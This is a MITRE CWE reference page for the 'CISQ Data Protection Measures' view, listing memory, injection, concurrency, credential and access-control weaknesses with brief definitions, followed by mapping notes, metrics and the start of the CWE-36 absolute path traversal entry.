CWE - VIEW SLICE: CWE-1340: CISQ Data Protection Measures (4.14)

CWE VIEW: CISQ Data Protection Measures

View ID: 1340

Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
Type: Graph

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Objective

This view outlines the SMM representation of the Automated Source Code Data Protection Measurement specifications, as identified by the Consortium for Information & Software Quality (CISQ) Working Group.

Audience

Stakeholder	Description
Software Developers	This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.
Product Vendors	This view can help product vendors understand code quality issues and convey an overall status of their software.
Assessment Tool Vendors	This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

Relationships

The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.

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1340 - CISQ Data Protection Measures

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Restriction of Operations within the Bounds of a Memory Buffer - (119)

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer)

The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.Buffer Overflowbuffer overrunmemory safety

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') - (120)

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 120 (Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'))

The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.Classic Buffer OverflowUnbounded Transfer

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 123 (Write-what-where Condition)

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 125 (Out-of-bounds Read)

The product reads data past the end, or before the beginning, of the intended buffer.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Length Parameter Inconsistency - (130)

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 130 (Improper Handling of Length Parameter Inconsistency)

The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.length manipulationlength tampering

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Access of Memory Location Before Start of Buffer - (786)

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 786 (Access of Memory Location Before Start of Buffer)

The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 787 (Out-of-bounds Write)

The product writes data past the end, or before the beginning, of the intended buffer.Memory Corruption

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Access of Memory Location After End of Buffer - (788)

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 788 (Access of Memory Location After End of Buffer)

The product reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 805 (Buffer Access with Incorrect Length Value)

The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 822 (Untrusted Pointer Dereference)

The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 823 (Use of Out-of-range Pointer Offset)

The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.Untrusted pointer offset

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 824 (Access of Uninitialized Pointer)

The product accesses or uses a pointer that has not been initialized.

1340 (CISQ Data Protection Measures) > 119 (Improper Restriction of Operations within the Bounds of a Memory Buffer) > 825 (Expired Pointer Dereference)

The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.Dangling pointer

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Operation on a Resource after Expiration or Release - (672)

1340 (CISQ Data Protection Measures) > 672 (Operation on a Resource after Expiration or Release)

The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Double Free - (415)

1340 (CISQ Data Protection Measures) > 672 (Operation on a Resource after Expiration or Release) > 415 (Double Free)

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.Double-free

1340 (CISQ Data Protection Measures) > 672 (Operation on a Resource after Expiration or Release) > 416 (Use After Free)

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.Dangling pointerUse-After-Free

1340 (CISQ Data Protection Measures) > 665 (Improper Initialization)

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

1340 (CISQ Data Protection Measures) > 665 (Improper Initialization) > 456 (Missing Initialization of a Variable)

The product does not initialize critical variables, which causes the execution environment to use unexpected values.

1340 (CISQ Data Protection Measures) > 665 (Improper Initialization) > 457 (Use of Uninitialized Variable)

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

1340 (CISQ Data Protection Measures) > 404 (Improper Resource Shutdown or Release)

The product does not release or incorrectly releases a resource before it is made available for re-use.

1340 (CISQ Data Protection Measures) > 404 (Improper Resource Shutdown or Release) > 761 (Free of Pointer not at Start of Buffer)

The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

1340 (CISQ Data Protection Measures) > 404 (Improper Resource Shutdown or Release) > 762 (Mismatched Memory Management Routines)

The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

1340 (CISQ Data Protection Measures) > 404 (Improper Resource Shutdown or Release) > 763 (Release of Invalid Pointer or Reference)

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Release of Resource after Effective Lifetime - (772)

1340 (CISQ Data Protection Measures) > 404 (Improper Resource Shutdown or Release) > 772 (Missing Release of Resource after Effective Lifetime)

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

1340 (CISQ Data Protection Measures) > 404 (Improper Resource Shutdown or Release) > 775 (Missing Release of File Descriptor or Handle after Effective Lifetime)

The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Restriction of XML External Entity Reference - (611)

1340 (CISQ Data Protection Measures) > 611 (Improper Restriction of XML External Entity Reference)

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.XXE

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Control of Resource Identifiers ('Resource Injection') - (99)

1340 (CISQ Data Protection Measures) > 99 (Improper Control of Resource Identifiers ('Resource Injection'))

The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.Insecure Direct Object Reference

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') - (652)

1340 (CISQ Data Protection Measures) > 652 (Improper Neutralization of Data within XQuery Expressions ('XQuery Injection'))

The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Data within XPath Expressions ('XPath Injection') - (643)

1340 (CISQ Data Protection Measures) > 643 (Improper Neutralization of Data within XPath Expressions ('XPath Injection'))

The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - (90)

1340 (CISQ Data Protection Measures) > 90 (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)

1340 (CISQ Data Protection Measures) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Neutralization of Special Elements used in a Command ('Command Injection') - (77)

1340 (CISQ Data Protection Measures) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection'))

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

1340 (CISQ Data Protection Measures) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection')) > 624 (Executable Regular Expression Error)

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)

1340 (CISQ Data Protection Measures) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection')) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.Shell injectionShell metacharacters

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') - (88)

1340 (CISQ Data Protection Measures) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection')) > 88 (Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - (917)

1340 (CISQ Data Protection Measures) > 77 (Improper Neutralization of Special Elements used in a Command ('Command Injection')) > 917 (Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection'))

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.EL Injection

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)

1340 (CISQ Data Protection Measures) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.XSSHTML InjectionCSS

1340 (CISQ Data Protection Measures) > 91 (XML Injection (aka Blind XPath Injection))

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Initialization with Hard-Coded Network Resource Configuration Data - (1051)

1340 (CISQ Data Protection Measures) > 1051 (Initialization with Hard-Coded Network Resource Configuration Data)

The product initializes data using hard-coded values that act as network resource identifiers.

1340 (CISQ Data Protection Measures) > 424 (Improper Protection of Alternate Path)

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

1340 (CISQ Data Protection Measures) > 798 (Use of Hard-coded Credentials)

The product contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

1340 (CISQ Data Protection Measures) > 798 (Use of Hard-coded Credentials) > 259 (Use of Hard-coded Password)

The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

1340 (CISQ Data Protection Measures) > 798 (Use of Hard-coded Credentials) > 321 (Use of Hard-coded Cryptographic Key)

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

1340 (CISQ Data Protection Measures) > 681 (Incorrect Conversion between Numeric Types)

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

1340 (CISQ Data Protection Measures) > 681 (Incorrect Conversion between Numeric Types) > 194 (Unexpected Sign Extension)

The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

1340 (CISQ Data Protection Measures) > 681 (Incorrect Conversion between Numeric Types) > 195 (Signed to Unsigned Conversion Error)

The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

1340 (CISQ Data Protection Measures) > 681 (Incorrect Conversion between Numeric Types) > 196 (Unsigned to Signed Conversion Error)

The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

1340 (CISQ Data Protection Measures) > 681 (Incorrect Conversion between Numeric Types) > 197 (Numeric Truncation Error)

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization)

The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element - (1058)

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 1058 (Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element)

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 1096 (Singleton Class Instance Creation without Proper Locking or Synchronization)

The product implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 366 (Race Condition within a Thread)

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 543 (Use of Singleton Pattern Without Synchronization in a Multithreaded Context)

The product uses the singleton pattern when creating a resource within a multithreaded environment.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unsynchronized Access to Shared Data in a Multithreaded Context - (567)

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 567 (Unsynchronized Access to Shared Data in a Multithreaded Context)

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 667 (Improper Locking)

The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 764 (Multiple Locks of a Critical Resource)

The product locks a critical resource more times than intended, leading to an unexpected state in the system.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 820 (Missing Synchronization)

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

1340 (CISQ Data Protection Measures) > 662 (Improper Synchronization) > 821 (Incorrect Synchronization)

The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

1340 (CISQ Data Protection Measures) > 704 (Incorrect Type Conversion or Cast)

The product does not correctly convert an object, resource, or structure from one type to a different type.

1340 (CISQ Data Protection Measures) > 562 (Return of Stack Variable Address)

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

1340 (CISQ Data Protection Measures) > 170 (Improper Null Termination)

The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

1340 (CISQ Data Protection Measures) > 129 (Improper Validation of Array Index)

The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.out-of-bounds array indexindex-out-of-rangearray index underflow

1340 (CISQ Data Protection Measures) > 134 (Use of Externally-Controlled Format String)

The product uses a function that accepts a format string as an argument, but the format string originates from an external source.

1340 (CISQ Data Protection Measures) > 606 (Unchecked Input for Loop Condition)

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)

1340 (CISQ Data Protection Measures) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.Directory traversalPath traversal

1340 (CISQ Data Protection Measures) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) > 23 (Relative Path Traversal)

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.Zip Slip

1340 (CISQ Data Protection Measures) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) > 36 (Absolute Path Traversal)

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unrestricted Upload of File with Dangerous Type - (434)

1340 (CISQ Data Protection Measures) > 434 (Unrestricted Upload of File with Dangerous Type)

The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.Unrestricted File Upload

Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Check or Handling of Exceptional Conditions - (703)

1340 (CISQ Data Protection Measures) > 703 (Improper Check or Handling of Exceptional Conditions)

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

1340 (CISQ Data Protection Measures) > 703 (Improper Check or Handling of Exceptional Conditions) > 248 (Uncaught Exception)

An exception is thrown from a function, but it is not caught.

1340 (CISQ Data Protection Measures) > 703 (Improper Check or Handling of Exceptional Conditions) > 391 (Unchecked Error Condition)

[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

1340 (CISQ Data Protection Measures) > 703 (Improper Check or Handling of Exceptional Conditions) > 392 (Missing Report of Error Condition)

The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.

1340 (CISQ Data Protection Measures) > 908 (Use of Uninitialized Resource)

The product uses or accesses a resource that has not been initialized.

1340 (CISQ Data Protection Measures) > 682 (Incorrect Calculation)

The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

1340 (CISQ Data Protection Measures) > 682 (Incorrect Calculation) > 131 (Incorrect Calculation of Buffer Size)

The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

1340 (CISQ Data Protection Measures) > 682 (Incorrect Calculation) > 369 (Divide By Zero)

The product divides a value by zero.

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Permission Assignment for Critical Resource - (732)

1340 (CISQ Data Protection Measures) > 732 (Incorrect Permission Assignment for Critical Resource)

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

1340 (CISQ Data Protection Measures) > 502 (Deserialization of Untrusted Data)

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.Marshaling, UnmarshalingPickling, UnpicklingPHP Object Injection

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Sensitive Information Due to Incompatible Policies - (213)

1340 (CISQ Data Protection Measures) > 213 (Exposure of Sensitive Information Due to Incompatible Policies)

The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improperly Controlled Modification of Dynamically-Determined Object Attributes - (915)

1340 (CISQ Data Protection Measures) > 915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.Mass AssignmentAutoBindingPHP Object Injection

1340 (CISQ Data Protection Measures) > 311 (Missing Encryption of Sensitive Data)

The product does not encrypt sensitive or critical information before storage or transmission.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Private Personal Information to an Unauthorized Actor - (359)

1340 (CISQ Data Protection Measures) > 359 (Exposure of Private Personal Information to an Unauthorized Actor)

The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.Privacy violationPrivacy leakPrivacy leakage

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control)

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.Authorization

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control) > 285 (Improper Authorization)

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.AuthZ

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control) > 287 (Improper Authentication)

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.authentificationAuthNAuthC

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass Using an Alternate Path or Channel - (288)

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control) > 288 (Authentication Bypass Using an Alternate Path or Channel)

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authorization Bypass Through User-Controlled Key - (639)

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control) > 639 (Authorization Bypass Through User-Controlled Key)

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.Insecure Direct Object Reference / IDORBroken Object Level Authorization / BOLAHorizontal Authorization

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control) > 862 (Missing Authorization)

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.AuthZ

1340 (CISQ Data Protection Measures) > 284 (Improper Access Control) > 863 (Incorrect Authorization)

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.AuthZ

Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.

References

[REF-1157] Consortium for Information & Software Quality (CISQ). "AUTOMATED SOURCE CODE MEASURE FOR DATA PROTECTION". 2020. <https://www.it-cisq.org/automated-source-code-measure-data-protection/index.htm>.

View Metrics

	CWEs in this view		Total CWEs
Weaknesses	89	out of	938
Categories	0	out of	374
Views	0	out of	50
Total	89	out of	1362

Content History

Submissions
Submission Date	Submitter	Organization
2020-12-10 (CWE 4.3, 2020-12-10)	CWE Content Team	MITRE
2020-12-10 (CWE 4.3, 2020-12-10)
Modifications
Modification Date	Modifier	Organization
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

View Components

Weakness ID: 36

Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.

Description

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
